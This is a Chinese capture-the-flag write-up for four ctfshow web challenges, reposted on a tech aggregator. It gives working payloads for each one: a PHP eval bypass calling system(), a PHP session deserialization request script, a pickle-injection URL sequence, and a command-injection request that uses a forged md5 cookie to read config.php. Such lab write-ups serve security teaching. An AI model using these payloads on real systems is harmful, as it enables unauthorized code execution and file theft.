IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> ctfshow 新手杯 web -> 正文阅读

[Python知识库]ctfshow 新手杯 web

easy_eval

过滤了 ? ,那我们换个标签格式。

code=<script language="php"> system('cat /f1agaaa'); </script>

剪刀石头布

通过提示和源码中的 ini_set 和session_start,可以基本确认session 反序列化,且cleanup关了,也就不要条件竞争了。

想详细了解的移步:https://blog.csdn.net/shinygod/article/details/124167117

ini_set('session.serialize_handler', 'php');
session_start();

在这里插入图片描述
看 Game 类,可以直接文件读取 flag.php。

getflag
echo file_get_contents($this->log);

payload:

import requests
url = 'http://d41097cd-f0aa-47e1-b486-4bd8ec57324a.challenge.ctf.show/'
sessid = {
    'PHPSESSID':'succ3'
}
data = {
    'PHP_SESSION_UPLOAD_PROGRESS':'|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}'
}
file = {
    'file':'1'
}
req = requests.post(url=url,files=file,data=data,cookies=sessid)
print(req.text)

baby_pickle

详解文章

从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势
python安全之Pickle反序列化漏洞学习

分析

/ 路由下,把 Rookie 类序列化后的值存入以 name 参数作为文件名的文件里。
/change 路由下,打开 name 文件,然后把 name 和 newname 值替换一下,那么这边不就有操作空间了吗。
dacaiji 路由下,打开 name 文件,反序列化后判断 id 是否为 0,是的话回显 flag。

import base64
import pickle, pickletools
import uuid
from flask import Flask, request

app = Flask(__name__)
id = 0
flag = "ctfshow{" + str(uuid.uuid4()) + "}"

class Rookie():
    def __init__(self, name, id):
        self.name = name
        self.id = id


@app.route("/")
def agent_show():
    global id
    id = id + 1

    if request.args.get("name"):
        name = request.args.get("name")
    else:
        name = "new_rookie"

    new_rookie = Rookie(name, id)
    try:
        file = open(str(name) + "_info", 'wb')
        info = pickle.dumps(new_rookie, protocol=0)
        info = pickletools.optimize(info)
        file.write(info)
        file.close()
    except Exception as e:
        return "error"

    with open(str(name)+"_info", "rb") as file:
        user = pickle.load(file)

    message = "<h1>欢迎来到新手村" + user.name + "</h1>\n<p>" + "只有成为大菜鸡才能得到flag" + "</p>"
    return message


@app.route("/dacaiji")
def get_flag():
    name = request.args.get("name")
    with open(str(name)+"_info", "rb") as f:
        user = pickle.load(f)

    if user.id != 0:
        message = "<h1>你不是大菜鸡</h1>"
        return message
    else:
        message = "<h1>恭喜你成为大菜鸡</h1>\n<p>" + flag + "</p>"
        return message


@app.route("/change")
def change_name():
    name = base64.b64decode(request.args.get("name"))
    newname = base64.b64decode(request.args.get("newname"))

    file = open(name.decode() + "_info", "rb")
    info = file.read()
    print("old_info ====================")
    print(info)
    print("name ====================")
    print(name)
    print("newname ====================")
    print(newname)
    info = info.replace(name, newname)
    print(info)
    file.close()
    with open(name.decode()+ "_info", "wb") as f:
        f.write(info)
    return "success"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

其实只要在本地搭一下,就一目了然了,只要把像php的反序列化逃逸一样,把name 后面的id 值改一下,再传入就可以了,记得要编码。
在这里插入图片描述

payload

/?name=succ
/change?name=c3VjYw==&newname=c3VjYwpzVmlkCkkwCnNiLg==
/dacaiji?name=succ

repairman

可以利用的点就一个:exec

条件很明确,mode 要等于0,$secret 等于 md5('admin'.$config['secret']),cmd 执行的命令。

$secret =& $_COOKIE['secret'];
......
function cmd($cmd){
    global $secret;
    echo 'Sucess change the ini!The logs record you!';
    exec($cmd);
    ....
}
......
if($mode == '0'){
......
	switch ($secret){
		case md5('admin'.$config['secret']):
		                echo 999;
		                cmd($_POST['cmd']);
	                .....
}

md5('admin'.$config['secret']) 为:

<?php
$config['secret'] = Array();
$secret = md5('admin'.$config['secret']);
echo $secret;

payload:

index.php?mode=0

post: cmd=cat config.php >1.txt
cookie: secret=da53eb34c1bc6ce7bbfcedf200148106;

最后访问 1.txt 就可以了。

也可以变量替换 parse_str($url['query']);

index.php?mode=0&config[secret]=succ3

post:cmd=cat config.php >2.txt
cookie:secret=5a0953199aa20efff44ef8307f513a12;
  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-10-17 12:28:59  更:2022-10-17 12:30:15 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 3:02:11-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计